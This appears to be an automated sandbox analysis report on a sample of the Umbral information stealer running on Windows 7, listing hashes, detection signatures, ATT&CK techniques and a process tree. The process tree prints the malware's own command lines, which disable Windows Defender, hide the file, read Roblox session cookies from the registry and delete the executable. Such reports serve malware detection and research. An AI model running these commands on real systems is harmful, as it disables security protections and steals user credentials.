umbral | 628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
07-05-2024 01:21

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General

Target

628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe
Size

232KB
MD5

afbe250f9d941daf1fc895e29d0b2821
SHA1

9aeaa55efa56702a0c2694ff2de3a5c6df7b03ac
SHA256

628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6
SHA512

177ddc51032af306d32c0826efddfa3be5e68621b440be764fba7ad37fd982fb58d7e902e4eb258fe50bbd236f82457e45e7d12a885c78314b304e72fb0f2c94
SSDEEP

6144:tloZMDXU9Zx0kt8X0/PSCsMpwpf3tW+x5R0STTKN0b8e1mKISi:voZnf0kkPQwpf3tW+x5R0STTKm2

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1180-1-0x0000000000C00000-0x0000000000C40000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Detects executables attemping to enumerate video devices using WMI 1 IoCs

resource	yara_rule
behavioral1/memory/1180-1-0x0000000000C00000-0x0000000000C40000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice

Detects executables containing possible sandbox analysis VM names 1 IoCs

resource	yara_rule
behavioral1/memory/1180-1-0x0000000000C00000-0x0000000000C40000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxComputerNames

Detects executables containing possible sandbox analysis VM usernames 1 IoCs

resource	yara_rule
behavioral1/memory/1180-1-0x0000000000C00000-0x0000000000C40000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxUserNames

Detects executables containing possible sandbox system UUIDs 1 IoCs

resource	yara_rule
behavioral1/memory/1180-1-0x0000000000C00000-0x0000000000C40000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxSystemUUIDs

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2676	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe

Deletes itself 1 IoCs

pid	Process
2208	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1420	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2356	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe
2676	powershell.exe
2040	powershell.exe
2904	powershell.exe
1412	powershell.exe
1892	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe
Token: SeIncreaseQuotaPrivilege	2092	wmic.exe
Token: SeSecurityPrivilege	2092	wmic.exe
Token: SeTakeOwnershipPrivilege	2092	wmic.exe
Token: SeLoadDriverPrivilege	2092	wmic.exe
Token: SeSystemProfilePrivilege	2092	wmic.exe
Token: SeSystemtimePrivilege	2092	wmic.exe
Token: SeProfSingleProcessPrivilege	2092	wmic.exe
Token: SeIncBasePriorityPrivilege	2092	wmic.exe
Token: SeCreatePagefilePrivilege	2092	wmic.exe
Token: SeBackupPrivilege	2092	wmic.exe
Token: SeRestorePrivilege	2092	wmic.exe
Token: SeShutdownPrivilege	2092	wmic.exe
Token: SeDebugPrivilege	2092	wmic.exe
Token: SeSystemEnvironmentPrivilege	2092	wmic.exe
Token: SeRemoteShutdownPrivilege	2092	wmic.exe
Token: SeUndockPrivilege	2092	wmic.exe
Token: SeManageVolumePrivilege	2092	wmic.exe
Token: 33	2092	wmic.exe
Token: 34	2092	wmic.exe
Token: 35	2092	wmic.exe
Token: SeIncreaseQuotaPrivilege	2092	wmic.exe
Token: SeSecurityPrivilege	2092	wmic.exe
Token: SeTakeOwnershipPrivilege	2092	wmic.exe
Token: SeLoadDriverPrivilege	2092	wmic.exe
Token: SeSystemProfilePrivilege	2092	wmic.exe
Token: SeSystemtimePrivilege	2092	wmic.exe
Token: SeProfSingleProcessPrivilege	2092	wmic.exe
Token: SeIncBasePriorityPrivilege	2092	wmic.exe
Token: SeCreatePagefilePrivilege	2092	wmic.exe
Token: SeBackupPrivilege	2092	wmic.exe
Token: SeRestorePrivilege	2092	wmic.exe
Token: SeShutdownPrivilege	2092	wmic.exe
Token: SeDebugPrivilege	2092	wmic.exe
Token: SeSystemEnvironmentPrivilege	2092	wmic.exe
Token: SeRemoteShutdownPrivilege	2092	wmic.exe
Token: SeUndockPrivilege	2092	wmic.exe
Token: SeManageVolumePrivilege	2092	wmic.exe
Token: 33	2092	wmic.exe
Token: 34	2092	wmic.exe
Token: 35	2092	wmic.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeIncreaseQuotaPrivilege	2900	wmic.exe
Token: SeSecurityPrivilege	2900	wmic.exe
Token: SeTakeOwnershipPrivilege	2900	wmic.exe
Token: SeLoadDriverPrivilege	2900	wmic.exe
Token: SeSystemProfilePrivilege	2900	wmic.exe
Token: SeSystemtimePrivilege	2900	wmic.exe
Token: SeProfSingleProcessPrivilege	2900	wmic.exe
Token: SeIncBasePriorityPrivilege	2900	wmic.exe
Token: SeCreatePagefilePrivilege	2900	wmic.exe
Token: SeBackupPrivilege	2900	wmic.exe
Token: SeRestorePrivilege	2900	wmic.exe
Token: SeShutdownPrivilege	2900	wmic.exe
Token: SeDebugPrivilege	2900	wmic.exe
Token: SeSystemEnvironmentPrivilege	2900	wmic.exe
Token: SeRemoteShutdownPrivilege	2900	wmic.exe
Token: SeUndockPrivilege	2900	wmic.exe
Token: SeManageVolumePrivilege	2900	wmic.exe
Token: 33	2900	wmic.exe
Token: 34	2900	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1180 wrote to memory of 2092	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	28
PID 1180 wrote to memory of 2092	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	28
PID 1180 wrote to memory of 2092	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	28
PID 1180 wrote to memory of 2704	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	31
PID 1180 wrote to memory of 2704	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	31
PID 1180 wrote to memory of 2704	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	31
PID 1180 wrote to memory of 2676	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	33
PID 1180 wrote to memory of 2676	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	33
PID 1180 wrote to memory of 2676	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	33
PID 1180 wrote to memory of 2040	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	35
PID 1180 wrote to memory of 2040	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	35
PID 1180 wrote to memory of 2040	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	35
PID 1180 wrote to memory of 2904	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	37
PID 1180 wrote to memory of 2904	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	37
PID 1180 wrote to memory of 2904	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	37
PID 1180 wrote to memory of 1412	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	39
PID 1180 wrote to memory of 1412	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	39
PID 1180 wrote to memory of 1412	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	39
PID 1180 wrote to memory of 2900	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	41
PID 1180 wrote to memory of 2900	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	41
PID 1180 wrote to memory of 2900	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	41
PID 1180 wrote to memory of 2416	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	43
PID 1180 wrote to memory of 2416	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	43
PID 1180 wrote to memory of 2416	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	43
PID 1180 wrote to memory of 1868	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	45
PID 1180 wrote to memory of 1868	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	45
PID 1180 wrote to memory of 1868	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	45
PID 1180 wrote to memory of 1892	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	47
PID 1180 wrote to memory of 1892	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	47
PID 1180 wrote to memory of 1892	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	47
PID 1180 wrote to memory of 1420	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	49
PID 1180 wrote to memory of 1420	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	49
PID 1180 wrote to memory of 1420	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	49
PID 1180 wrote to memory of 2208	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	51
PID 1180 wrote to memory of 2208	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	51
PID 1180 wrote to memory of 2208	1180	628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe	51
PID 2208 wrote to memory of 2356	2208	cmd.exe	53
PID 2208 wrote to memory of 2356	2208	cmd.exe	53
PID 2208 wrote to memory of 2356	2208	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2704	attrib.exe

C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe
"C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2092
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe"
  2⤵
  - Views/modifies file attributes
  PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1412
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2416
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1892
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1420
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2012a79db24a21ce7bf44a3e7c75f18e

SHA1
33fddc25ec3d620a64cd7290de31d8a8136c0094

SHA256
a5a35278d80d696cdab021c9c7183c18619f8f4016e8c07eced98b0210fd24be

SHA512
04ec2af87fc7d9d54b6d1bb50e8606b8bed5819a092a09c9ad6cc2f3fed7d54c19a60803d1e3ad01291ad86f6e89a8cc3d9d39251d0b224c4adae1810c23382a

Download Submit
memory/1180-0-0x000007FEF5D13000-0x000007FEF5D14000-memory.dmp

Filesize
4KB

Download
memory/1180-1-0x0000000000C00000-0x0000000000C40000-memory.dmp

Filesize
256KB

Download
memory/1180-2-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/1180-47-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/1892-43-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2040-14-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2040-15-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2676-7-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2676-8-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download